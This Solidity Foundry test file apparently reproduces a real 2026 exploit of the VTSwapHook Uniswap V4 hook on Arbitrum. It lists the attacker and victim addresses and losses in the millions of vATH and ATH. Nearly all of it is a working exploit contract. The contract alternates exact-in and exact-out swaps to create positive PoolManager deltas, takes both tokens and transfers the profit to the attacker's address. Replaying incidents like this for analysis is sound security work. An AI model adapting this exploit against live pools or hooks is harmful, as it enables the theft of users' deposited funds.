src/test/2026-03/VTSwapHook_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 4,507,034.03 vATH + 2,007,935.14 ATH
8// Attacker : 0xf378840de079c70f55218cd3af99d2d81ba154ba
9// Attack Contract : 0x959ec1872100eccb8c9ac355304fed81fa5d237e
10// Vulnerable Contract : 0xbf4b4a83708474528a93c123f817e7f2a0637a88
11// Attack Tx : https://arbiscan.io/tx/0x61a37afac7991e25391d72846819644a0938ce20ebab25ccf3a1123e1bb9459d
12 
13// @Info
14// Vulnerable Contract Code : https://arbiscan.io/address/0xbf4b4a83708474528a93c123f817e7f2a0637a88#code
15 
16// @Analysis
17// Twitter Guy : https://x.com/DefimonAlerts/status/2038647146098954283
18//
19// VTSwapHook priced a nonlinear VT/T curve through fee-adjusted amounts but updated
20// its internal reserves with the full pre-fee specified amount. Alternating one
21// exact-in ATH->vATH swap with one exact-output vATH->ATH swap leaves the caller
22// with positive Uniswap V4 PoolManager deltas in both currencies.
23 
24address constant ATTACKER = 0xF378840dE079c70f55218cD3AF99D2D81ba154BA;
25address constant ATTACK_CONTRACT = 0x959EC1872100eccb8C9AC355304fED81FA5d237E;
26address constant VTSWAP_HOOK = 0xbf4b4A83708474528A93C123F817e7f2A0637a88;
27address constant POOL_MANAGER = 0x360E68faCcca8cA495c1B759Fd9EEe466db9FB32;
28address constant VATH = 0x24ef95c39DfaA8f9a5ADf58edf76C5b22c34Ef46;
29address constant ATH = 0xc87B37a581ec3257B734886d9d3a581F5A9d056c;
30 
31// Uniswap V4 rejects swap price limits equal to TickMath's min/max bounds.
32uint160 constant V4_MIN_USABLE_SQRT_PRICE = 4_295_128_740;
33uint160 constant V4_MAX_USABLE_SQRT_PRICE = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_341;
34 
35struct PoolKey {
36    address currency0;
37    address currency1;
38    uint24 fee;
39    int24 tickSpacing;
40    address hooks;
41}
42 
43struct SwapParams {
44    bool zeroForOne;
45    int256 amountSpecified;
46    uint160 sqrtPriceLimitX96;
47}
48 
49interface IUniswapV4PoolManager {
50    function unlock(
51        bytes calldata data
52    ) external returns (bytes memory);
53    function swap(
54        PoolKey memory key,
55        SwapParams memory params,
56        bytes calldata hookData
57    ) external returns (int256);
58    function take(
59        address currency,
60        address to,
61        uint256 amount
62    ) external;
63}
64 
65interface IVTSwapHook {
66    function reserve1() external view returns (uint256);
67}
68 
69contract ContractTest is BaseTestWithBalanceLog {
70    function setUp() public {
71        uint256 forkBlock = 446_382_719;
72        vm.createSelectFork("arbitrum", forkBlock);
73 
74        multiAssetLog = true;
75        attacker = ATTACKER;
76        _addFundingToken(VATH);
77        _addFundingToken(ATH);
78 
79        vm.label(ATTACKER, "Attacker / Profit Receiver");
80        vm.label(ATTACK_CONTRACT, "Trace Attack Contract");
81        vm.label(VTSWAP_HOOK, "VTSwapHook");
82        vm.label(POOL_MANAGER, "Uniswap V4 PoolManager");
83        vm.label(VATH, "vATH");
84        vm.label(ATH, "ATH");
85    }
86 
87    function testExploit() public balanceLog {
88        uint256 vAthBefore = IERC20(VATH).balanceOf(ATTACKER);
89        uint256 athBefore = IERC20(ATH).balanceOf(ATTACKER);
90 
91        // step 1: deploy a fresh helper; the trace helper was created in the tx and had no pre-existing state.
92        VTSwapHookExploit exploit = new VTSwapHookExploit(ATTACKER);
93 
94        // step 2: execute one profitable V4 unlock round trip and forward both assets to the trace receiver.
95        exploit.execute();
96 
97        assertGt(IERC20(VATH).balanceOf(ATTACKER), vAthBefore, "no vATH profit");
98        assertGt(IERC20(ATH).balanceOf(ATTACKER), athBefore, "no ATH profit");
99    }
100}
101 
102contract VTSwapHookExploit {
103    IUniswapV4PoolManager private constant manager = IUniswapV4PoolManager(POOL_MANAGER);
104    IVTSwapHook private constant hook = IVTSwapHook(VTSWAP_HOOK);
105 
106    address private immutable receiver;
107    int256 private netDelta0;
108    int256 private netDelta1;
109 
110    constructor(
111        address profitReceiver
112    ) {
113        receiver = profitReceiver;
114    }
115 
116    function execute() external {
117        IERC20(VATH).approve(POOL_MANAGER, type(uint256).max);
118        IERC20(ATH).approve(POOL_MANAGER, type(uint256).max);
119        netDelta0 = 0;
120        netDelta1 = 0;
121        manager.unlock("");
122 
123        uint256 vAthProfit = IERC20(VATH).balanceOf(address(this));
124        uint256 athProfit = IERC20(ATH).balanceOf(address(this));
125        IERC20(VATH).transfer(receiver, vAthProfit);
126        IERC20(ATH).transfer(receiver, athProfit);
127    }
128 
129    function unlockCallback(
130        bytes calldata
131    ) external returns (bytes memory) {
132        require(msg.sender == POOL_MANAGER, "only PoolManager");
133 
134        // step 3: reproduce the trace's first ATH->vATH exact-in swap using 35% of the current ATH reserve.
135        uint256 exactInATH = hook.reserve1() * 35 / 100;
136        int128 vAthCredit = _swap(false, -int256(exactInATH), V4_MAX_USABLE_SQRT_PRICE);
137 
138        // step 4: swap back with the first swap's vATH credit as exact-output size.
139        _swap(true, int256(uint256(uint128(vAthCredit))), V4_MIN_USABLE_SQRT_PRICE);
140 
141        require(netDelta0 > 0 && netDelta1 > 0, "round trip not profitable");
142 
143        // step 5: take the positive flash-accounting deltas; no input settlement is needed.
144        manager.take(VATH, address(this), uint256(netDelta0));
145        manager.take(ATH, address(this), uint256(netDelta1));
146        return "";
147    }
148 
149    function _swap(
150        bool zeroForOne,
151        int256 amountSpecified,
152        uint160 priceLimit
153    ) private returns (int128 amount0) {
154        int256 packedDelta = manager.swap(
155            PoolKey({currency0: VATH, currency1: ATH, fee: 0, tickSpacing: 1, hooks: VTSWAP_HOOK}),
156            SwapParams({zeroForOne: zeroForOne, amountSpecified: amountSpecified, sqrtPriceLimitX96: priceLimit}),
157            ""
158        );
159        int128 delta0 = int128(packedDelta >> 128);
160        int128 delta1 = int128(packedDelta);
161        netDelta0 += delta0;
162        netDelta1 += delta1;
163        return delta0;
164    }
165}